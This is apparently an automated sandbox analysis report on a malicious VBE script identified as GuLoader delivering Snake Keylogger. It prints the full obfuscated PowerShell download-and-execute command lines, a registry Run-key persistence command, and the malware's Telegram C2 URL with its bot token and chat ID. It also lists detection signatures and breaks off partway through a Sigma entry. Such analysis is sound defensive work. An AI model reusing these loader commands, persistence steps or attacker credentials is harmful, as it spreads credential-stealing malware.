Edit tour

Windows Analysis Report
4500149631.vbe

Overview

General Information

Sample name:	4500149631.vbe
Analysis ID:	1636427
MD5:	6119da96a2b2a06d8eabea4cb705bd6a
SHA1:	a26c9f58d83b2c30e596c63f25899766e8b43edd
SHA256:	bf2cb64d341406561b3e57567b001abda93779729e3ab51b7ef4a612ca09981c
Tags:	GuLoadervbeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Early bird code injection technique detected

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Powershell download and execute

Yara detected Snake Keylogger

Yara detected Telegram RAT

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Queues an APC in another process (thread injection)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes or reads registry keys via WMI

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7100 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe" MD5: A47CBE969EA935BDD3AB568BB126BC80)

WmiPrvSE.exe (PID: 7148 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 6564 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.BailDStrmoimpawBetjnHerrlAnamo DowaTun d SvaFBe.uiJubilTopkeA is( Sko$TumiETrkgfGe ltStoce angrM nia Sk bNo me prelf.aasdesqeFlinr ounVelgeAn i1Konk7F tu4,ane,Jagt$ CoeA verssmilp rkua olcPor,eSmre)';$Aspace=$Annuloid;Testvrktjer (Uprouse15 'Delm$.arigbioglrgfaoindsbVerdAUptolfris:ListISprinOb,ltreineIncogChapRForsiXyl o.seluBegySUnau=Skre( StaTovere arksAtteT Sne-IciepVergaTeleTRu mH Scl Cadi$BunkAFagls GonPSnigA.algCTeareTran)');while (!$Integrious) {Testvrktjer (Uprouse15 'R in$BortgkartlordboShitbFro,aInfrlSnor:SnadGTin,uSkaldPro eOnentU barKultoShut1Ster4Mame6Ort =Vacu$Lio.PGummh redosektr No,oZeekn SnooYdermBomhiBal,c hows') ;Testvrktjer $Saaede;Testvrktjer (Uprouse15 'H lb[ CenTKorrhPolyR CabeBe.oaHal,dEquiIAtolnSpurgKse ..rest SkyHHyporMonoEBureaNo aDArte]Incl:Se u:StraSho,il VekeIndbEIndipArch( War4Meni0 sek0Lope0 Idi)');Testvrktjer (Uprouse15 'Hulh$ N ng,tatlRealOSi.dBSaggADisslTrre:DykkiCoroNDiplt AsteAglyGFrolRSandIKameOCounu SpiSPale= Amp(KariT j sEMul sUnneTGoka-Landp FlsaUnd T BrahP ra Haan$SeceASk.lS Ba pStata,kylCBe,geA.to)') ;Testvrktjer (Uprouse15 'Kurs$AbsogSweeLRaasOMartB.esiAmo kLOpta:CursRD,ssoHa dtRootTVagaEFalsGrespiKlveffelttOverE TonnOve.ETord=duom$BogeGLandLpulvoAeroB idsaLa nLfron:Re,dSNiloYRaasNLignG IndEFejlPVaevIAn egS ureoverrSc n+ ede+ Ber%Undi$Tavss uglpklogI An,SSemiEPeripA phLRe.nI KlogTaktt Pre1 Ef 5Wa e.VeloCChrooBrocUD.bbnUnvaT') ;$Efterabelserne174=$Spisepligt15[$Rottegiftene]}$Desperance=320598;$Possessionate=30572;Testvrktjer (Uprouse15 ' Pim$Be kGSkrilasc,oDiktBFe ta AntLPoli: cutGadgaRFormIDe ebLikeBPoliEirreN De Lact=Daar ConsGHejsETestTBort- Ko CRageoConcntillTFenmeUb,gnTrumTGazu Kath$ LobaQv xs ryppFlgeaM,rbCOvere');Testvrktjer (Uprouse15 'Nitr$Destg jrkl ForoUnweb,lolaUngdlYem : SkiIKinds V,noTr.ll Fora imut usiOffhoStrenOrarsperimOmlaaDec tC roe oidrKoumiFai a Mi,lStudegescsDapa Rep=Brem Sa i[LektSKlimyS.uesSyv tPro erelemK,ma.ManiCStano R bnStrevC.joe AmerHovetFinl] Aut:vaud:,edeFExcirThi oAlphmSa,eBwaleaUafvs TrueHydr6 k d4BortS S,mtBeharluf,iAn inU,cogAbbe( ges$,ontG nder KiniUdmab hoob A,se An.n Noe)');Testvrktjer (Uprouse15 'Fril$FumlG TablHju oF,isbDi eaba,bLputa:Und.kParaUVranRRobosVidtgMagieDa,evBandIFau nGhe sSkaatKlu, rak=Ki.s I.ht[AficS.oolyS,olsLiecTBegreCellmOuts.Hgtnt RegEWallx R atRess.SetiE P.pNPregcBa,lo eruD tuIGstensvinG Sur]che : atl:ParaA TytsS,naC VrvI Kk IB.li.O cngBlobeRektTNarrS FortUnefrGladi ja,nTraeGF lk(.eal$Co sI Ud s EcoO SpiLStataS.osTSprjI .deoVinrnOverS Ub.mToppa NastRensEKoprRKeveiRejoa S,oLInd,eBortsKorr)');Testvrktjer (Uprouse15 ' is$ConfgOpvaLPro o elB kofAFl.plPseu:AsseH.egeA acv Ko EOpsaMCursnKar dPent=Tros$Intek C,iuq erR IciSSquagTopsEForfvsherI aafnS irs,ntat P.r.coloSOv,ruHeptBpaceSTristAr.eRTil,I RelN Ta gLe t(T it$UneqDTortEU deStalePPuppe UngRL reaMoltNVolaC aueKopp,Ri e$ Pi,pUntioAfgaS ForSOmdeE ,heS cals.bsoI St.O utinImmoa.errT issEDr,l)');Testvrktjer $Havemnd;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2032 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.BailDStrmoimpawBetjnHerrlAnamo DowaTun d SvaFBe.uiJubilTopkeA is( Sko$TumiETrkgfGe ltStoce angrM nia Sk bNo me prelf.aasdesqeFlinr ounVelgeAn i1Konk7F tu4,ane,Jagt$ CoeA verssmilp rkua olcPor,eSmre)';$Aspace=$Annuloid;Testvrktjer (Uprouse15 'Delm$.arigbioglrgfaoindsbVerdAUptolfris:ListISprinOb,ltreineIncogChapRForsiXyl o.seluBegySUnau=Skre( StaTovere arksAtteT Sne-IciepVergaTeleTRu mH Scl Cadi$BunkAFagls GonPSnigA.algCTeareTran)');while (!$Integrious) {Testvrktjer (Uprouse15 'R in$BortgkartlordboShitbFro,aInfrlSnor:SnadGTin,uSkaldPro eOnentU barKultoShut1Ster4Mame6Ort =Vacu$Lio.PGummh redosektr No,oZeekn SnooYdermBomhiBal,c hows') ;Testvrktjer $Saaede;Testvrktjer (Uprouse15 'H lb[ CenTKorrhPolyR CabeBe.oaHal,dEquiIAtolnSpurgKse ..rest SkyHHyporMonoEBureaNo aDArte]Incl:Se u:StraSho,il VekeIndbEIndipArch( War4Meni0 sek0Lope0 Idi)');Testvrktjer (Uprouse15 'Hulh$ N ng,tatlRealOSi.dBSaggADisslTrre:DykkiCoroNDiplt AsteAglyGFrolRSandIKameOCounu SpiSPale= Amp(KariT j sEMul sUnneTGoka-Landp FlsaUnd T BrahP ra Haan$SeceASk.lS Ba pStata,kylCBe,geA.to)') ;Testvrktjer (Uprouse15 'Kurs$AbsogSweeLRaasOMartB.esiAmo kLOpta:CursRD,ssoHa dtRootTVagaEFalsGrespiKlveffelttOverE TonnOve.ETord=duom$BogeGLandLpulvoAeroB idsaLa nLfron:Re,dSNiloYRaasNLignG IndEFejlPVaevIAn egS ureoverrSc n+ ede+ Ber%Undi$Tavss uglpklogI An,SSemiEPeripA phLRe.nI KlogTaktt Pre1 Ef 5Wa e.VeloCChrooBrocUD.bbnUnvaT') ;$Efterabelserne174=$Spisepligt15[$Rottegiftene]}$Desperance=320598;$Possessionate=30572;Testvrktjer (Uprouse15 ' Pim$Be kGSkrilasc,oDiktBFe ta AntLPoli: cutGadgaRFormIDe ebLikeBPoliEirreN De Lact=Daar ConsGHejsETestTBort- Ko CRageoConcntillTFenmeUb,gnTrumTGazu Kath$ LobaQv xs ryppFlgeaM,rbCOvere');Testvrktjer (Uprouse15 'Nitr$Destg jrkl ForoUnweb,lolaUngdlYem : SkiIKinds V,noTr.ll Fora imut usiOffhoStrenOrarsperimOmlaaDec tC roe oidrKoumiFai a Mi,lStudegescsDapa Rep=Brem Sa i[LektSKlimyS.uesSyv tPro erelemK,ma.ManiCStano R bnStrevC.joe AmerHovetFinl] Aut:vaud:,edeFExcirThi oAlphmSa,eBwaleaUafvs TrueHydr6 k d4BortS S,mtBeharluf,iAn inU,cogAbbe( ges$,ontG nder KiniUdmab hoob A,se An.n Noe)');Testvrktjer (Uprouse15 'Fril$FumlG TablHju oF,isbDi eaba,bLputa:Und.kParaUVranRRobosVidtgMagieDa,evBandIFau nGhe sSkaatKlu, rak=Ki.s I.ht[AficS.oolyS,olsLiecTBegreCellmOuts.Hgtnt RegEWallx R atRess.SetiE P.pNPregcBa,lo eruD tuIGstensvinG Sur]che : atl:ParaA TytsS,naC VrvI Kk IB.li.O cngBlobeRektTNarrS FortUnefrGladi ja,nTraeGF lk(.eal$Co sI Ud s EcoO SpiLStataS.osTSprjI .deoVinrnOverS Ub.mToppa NastRensEKoprRKeveiRejoa S,oLInd,eBortsKorr)');Testvrktjer (Uprouse15 ' is$ConfgOpvaLPro o elB kofAFl.plPseu:AsseH.egeA acv Ko EOpsaMCursnKar dPent=Tros$Intek C,iuq erR IciSSquagTopsEForfvsherI aafnS irs,ntat P.r.coloSOv,ruHeptBpaceSTristAr.eRTil,I RelN Ta gLe t(T it$UneqDTortEU deStalePPuppe UngRL reaMoltNVolaC aueKopp,Ri e$ Pi,pUntioAfgaS ForSOmdeE ,heS cals.bsoI St.O utinImmoa.errT issEDr,l)');Testvrktjer $Havemnd;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5216 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 5296 cmdline: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5968 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

svchost.exe (PID: 7016 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7328026738:AAH1IHU2hS9jcv-fByxTl7eMvqtctOYjBF8", "Chat_id": "1503224244", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.1618891964.00000000081F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.1602163136.000000000545A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000F.00000002.2216062150.0000000004301000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.1243751229.0000027592CBD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000006.00000002.1619238157.0000000008991000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 6564	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6564	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x11d09:$b2: ::FromBase64String( 0x513f1:$s1: -join 0x5e4c6:$s1: -join 0x61898:$s1: -join 0x61f4a:$s1: -join 0x63a3b:$s1: -join 0x65c41:$s1: -join 0x66468:$s1: -join 0x66cd8:$s1: -join 0x67413:$s1: -join 0x67445:$s1: -join 0x6748d:$s1: -join 0x674ac:$s1: -join 0x67cfc:$s1: -join 0x67e78:$s1: -join 0x67ef0:$s1: -join 0x67f83:$s1: -join 0x681e9:$s1: -join 0x6a37f:$s1: -join 0x78dc9:$s1: -join 0x8e511:$s1: -join
Process Memory Space: powershell.exe PID: 2032	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2032	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe8b9d:$b2: ::FromBase64String( 0xb9d14:$s1: -join 0xc13e8:$s1: -join 0xe1da3:$s1: -join 0x24632b:$s1: -join 0x253400:$s1: -join 0x2567d2:$s1: -join 0x256e84:$s1: -join 0x258975:$s1: -join 0x25ab7b:$s1: -join 0x25b3a2:$s1: -join 0x25bc12:$s1: -join 0x25c34d:$s1: -join 0x25c37f:$s1: -join 0x25c3c7:$s1: -join 0x25c3e6:$s1: -join 0x25cc36:$s1: -join 0x25cdb2:$s1: -join 0x25ce2a:$s1: -join 0x25cebd:$s1: -join 0x25d123:$s1: -join
Process Memory Space: msiexec.exe PID: 5216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 5216	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 9 entries

Other

Source	Rule	Description	Author	Strings
amsi64_6564.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_2032.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc2f1:$b2: ::FromBase64String( 0xb384:$s1: -join 0x4b30:$s4: += 0x4bf2:$s4: += 0x8e19:$s4: += 0xaf36:$s4: += 0xb220:$s4: += 0xb366:$s4: += 0x15488:$s4: += 0x15508:$s4: += 0x155ce:$s4: += 0x1564e:$s4: += 0x15824:$s4: += 0x158a8:$s4: += 0xbb94:$e4: Get-WmiObject 0xbd83:$e4: Get-Process 0xbddb:$e4: Start-Process 0x160e8:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe", ProcessId: 7100, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: %Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires), EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 5968, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Litteraturlistes

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5296, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD 